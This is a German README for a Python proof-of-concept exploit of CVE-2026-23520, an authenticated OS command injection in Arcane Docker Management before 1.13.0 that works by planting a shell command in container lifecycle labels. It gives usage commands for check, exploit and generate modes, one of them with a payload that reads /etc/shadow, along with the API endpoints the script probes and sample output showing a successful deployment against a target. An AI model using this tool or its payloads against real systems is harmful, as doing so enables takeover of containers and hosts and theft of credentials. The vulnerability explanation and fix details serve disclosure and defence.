
Proof-of-Concept-Exploit für CVE-2026-23520, eine authentifizierte RCE in Arcane Docker Management über OS-Command-Injection in Lifecycle-Labels. Enthält Check-, Exploit- und Generate-Modi.
OS-Befehls-Injection in Arcane Docker Management (< 1.13.0)
Arcane ist eine moderne, webbasierte Docker-Management-Plattform. Versionen vor 1.13.0 sind anfällig für eine authentifizierte Remote Code Execution (RCE) durch OS-Befehls-Injection in den Lifecycle-Labels des Updater-Dienstes.
Der Updater-Dienst unterstützte zwei Docker-Container-Labels:
| Label | Auslöser |
|---|
com.getarcaneapp.arcane.lifecycle.pre-update | Vor einem Container-Update |
com.getarcaneapp.arcane.lifecycle.post-update | Nach einem Container-Update |
Der Label-Wert wird direkt an /bin/sh -c übergeben, ohne jegliche Bereinigung. Da jeder authentifizierte Benutzer (nicht nur Administratoren) über die API Projekte erstellen kann, kann ein Angreifer ein vergiftetes Projekt platzieren. Wenn ein Administrator später ein Container-Update auslöst, wird der injizierte Befehl innerhalb des Containers ausgeführt — und möglicherweise auf dem Host, wenn Volume-Mounts vorhanden sind.
Angreifer (Benutzer mit niedrigen Rechten) Arcane-Server
──────────────────────── ──────────────
1. Authentifizierung (beliebiger Benutzer) ──────────► JWT ausgestellt
2. Projekt mit vergiftetem Projekt mit
Lifecycle-Label erstellen ──────────► bösartigem Label gespeichert
│
┌───────────────────────────────────────────────┘
│ 3. Administrator löst Container-Update aus
▼
Arcane-Updater liest Label-Wert
Übergibt ihn an /bin/sh -c
│
▼
*** Beliebige Befehlsausführung ***
(Container-Bereich, oder Host, wenn Volumes gemountet sind)
| Status | Versionen |
|---|---|
| Verwundbar | Arcane < 1.13.0 |
| Behoben | Arcane ≥ 1.13.0 |
Der Fix (Commit 5a9c2f9) entfernt die Lifecycle-Label-Funktion vollständig, um die Angriffsfläche zu beseitigen.
urllib, läuft auf jedem Python 3.10+check (Fingerabdruck), exploit (Bereitstellung), generate (offline Compose-Datei)-v) — zeigt genau, welche Endpunkte untersucht werden und was zurückkommtpython3 poc_cve_2026_23520.py check -t <TARGET_IP>
python3 poc_cve_2026_23520.py exploit \
-t <TARGET_IP> \
-u <USERNAME> \
-p <PASSWORD> \
--payload "id"
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"
python3 poc_cve_2026_23520.py -v check -t <TARGET_IP>
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...
positional arguments:
{exploit,check,generate}
exploit Deploy the poisoned project via the Arcane API
check Fingerprint Arcane and check if vulnerable
generate Generate a poisoned compose file (no network required)
options:
-h, --help show this help message and exit
-v, --verbose Show probing debug output
Exploit-Flags:
| Flag | Beschreibung | Standard |
|---|---|---|
-t, --target | Arcane-Host (IP oder Hostname) | erforderlich |
-P, --port | Arcane-Port | 3552 |
-u, --username | Beliebiger authentifizierter Arcane-Benutzer | erforderlich |
-p, --password | Benutzerpasswort | erforderlich |
--payload | Shell-Befehl zum Injizieren | id |
--hook | pre- oder post-Update-Hook | pre |
--project-name | Name für das vergiftete Projekt | poc-cve-2026-23520 |
--env-id | Umgebungs-ID (automatisch erkannt, wenn weggelassen) | auto |
--scheme | http oder https | http |
--no-verify | TLS-Zertifikatsprüfung überspringen | aus |
Das Skript kodiert keinen einzelnen API-Pfad fest. Stattdessen probiert es still mehrere bekannte Pfade für jede Operation aus und stoppt beim ersten Treffer:
| Operation | Getestete Endpunkte |
|---|---|
| Version | /api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info |
| Auth | /api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login |
| Umgebungen | /api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints |
| Projekt erstellen | /api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects und weitere |
Antwort-Schlüssel werden ebenfalls flexibel abgeglichen (z. B. currentVersion, version, Version, serverVersion — einschließlich verschachtelter Objekte und Groß-/Kleinschreibung-unabhängiger Suche).
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-23520 PoC Exploit ║
║ Arcane < 1.13.0 — Lifecycle Label RCE ║
╚═══════════════════════════════════════════════════════╝
── Schritt 1 · Ziel-Fingerprinting ──
[*] Ziel: http://10.129.7.208:3552
[*] Version-Endpunkte werden untersucht …
[+] Version über /api/version gefunden
[+] Arcane-Version: v1.12.4
[+] Version v1.12.4 ist < 1.13.0 — VERWUNDBAR
── Schritt 2 · Authentifizierung ──
[*] Authentifizierung als Angreifer …
[+] JWT über /api/auth/login erhalten
── Schritt 3 · Umgebungs-Erkennung ──
[*] Umgebungs-Endpunkte werden untersucht …
[+] 1 Umgebung(en) über /api/environments gefunden
[*] → 1 (lokal)
[+] Verwende Umgebung: 1
── Schritt 4 · Vergiftetes Projekt platzieren ──
[*] Payload in Lifecycle-Label injizieren: pre-update
[*] Label : com.getarcaneapp.arcane.lifecycle.pre-update
[*] Wert : id
[+] Projekt über /api/environments/1/projects erstellt
── Exploit erfolgreich platziert ──
[+] Das vergiftete Projekt wartet nun auf einen Update-Auslöser.
5a9c2f9Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor ist nicht für jeglichen Missbrauch verantwortlich. Verwenden Sie dies nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben.
MIT